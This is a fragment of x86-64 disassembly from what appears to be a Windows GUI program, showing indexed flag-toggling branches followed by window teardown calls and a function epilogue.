cmp byte [0x1402dade0], dil
sete al
mov byte [0x1402dade0], al
jmp 0x14005dde3
cmp eax, 6
jne 0x14005dd9b
cmp byte [rsp + 0x64], 0
je 0x14005dddc
test sil, sil
jmp 0x14005ddcc
cmp eax, 7
jne 0x14005ddac
cmp byte [rsp + 0x65], 0
je 0x14005dddc
test r14b, r14b
jmp 0x14005ddcc
cmp eax, 8
jne 0x14005ddbd
cmp byte [rsp + 0x66], 0
je 0x14005dddc
test r15b, r15b
jmp 0x14005ddcc
cmp eax, 9
jne 0x14005dddc
cmp byte [rsp + 0x67], 0
je 0x14005dddc
test r12b, r12b
jne 0x14005dddc
cmp byte [0x1402dade6], 0
sete byte [0x1402dade6]
movzx eax, byte [0x1402dade0]
mov ecx, dword [0x1402dadd8]
cmp ecx, 1
jne 0x14005de13
test r13b, r13b
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 2
jne 0x14005de3c
movzx ecx, byte [rsp + 0x60]
test cl, cl
je 0x14005df48
test r10b, r10b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 3
jne 0x14005de68
cmp byte [rsp + 0x61], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 4
jne 0x14005de93
cmp byte [rsp + 0x62], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test bl, bl
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 5
jne 0x14005debf
cmp byte [rsp + 0x63], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test dil, dil
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 6
jne 0x14005dee0
cmp byte [rsp + 0x64], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test sil, sil
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 7
jne 0x14005df01
cmp byte [rsp + 0x65], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 8
jne 0x14005df22
cmp byte [rsp + 0x66], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
cmp ecx, 9
jne 0x14005df43
cmp byte [rsp + 0x67], 0
je 0x14005df43
movzx ecx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14005df48
test al, al
sete byte [0x1402dade0]
jmp 0x14005df48
movzx ecx, byte [rsp + 0x60]
mov eax, dword [0x1402dad14]
cmp eax, 1
jne 0x14005df7d
test r13b, r13b
je 0x14005e0d9
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14005e0de
cmp byte [0x1402dadde], r9b
sete byte [0x1402dadde]
jmp 0x14005e0de
cmp eax, 2
jne 0x14005dfab
test cl, cl
je 0x14005e0d9
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x14005e0de
cmp byte [0x1402dadde], r10b
sete byte [0x1402dadde]
jmp 0x14005e0de
cmp eax, 3
jne 0x14005dfd9
movzx eax, byte [rsp + 0x61]
test al, al
je 0x14005e0de
test r11b, r11b
jne 0x14005e0de
cmp eax, 4
jne 0x14005e008
cmp byte [rsp + 0x62], 0
je 0x14005e0d9
cmp eax, 5
jne 0x14005e039
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14005e0f5
test r13b, r13b
je 0x14005e18b
cmp r8d, 2
jne 0x14005e108
call fcn.1400479e0
call fcn.140047d30
xor ecx, ecx
call fcn.1400069e0
call fcn.1400625e0
mov rcx, qword [0x1402dad98]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x220]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x1f50]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x1f60]
movaps xmm13, xmmword [rsp + 0x1f70]
movaps xmm12, xmmword [rsp + 0x1f80]
movaps xmm11, xmmword [rsp + 0x1f90]
movaps xmm10, xmmword [rsp + 0x1fa0]
movaps xmm9, xmmword [rsp + 0x1fb0]
movaps xmm8, xmmword [rsp + 0x1fc0]
movaps xmm7, xmmword [rsp + 0x1fd0]
movaps xmm6, xmmword [rsp + 0x1fe0]
mov r15, qword [rsp + 0x1ff0]
mov r13, qword [rsp + 0x2030]
mov rsi, qword [rsp + 0x2020]
mov rdi, qword [rsp + 0x2028]
mov r14, qword [rsp + 0x1ff8]
add rsp, 0x2000
pop r12
pop rbx
pop rbp
ret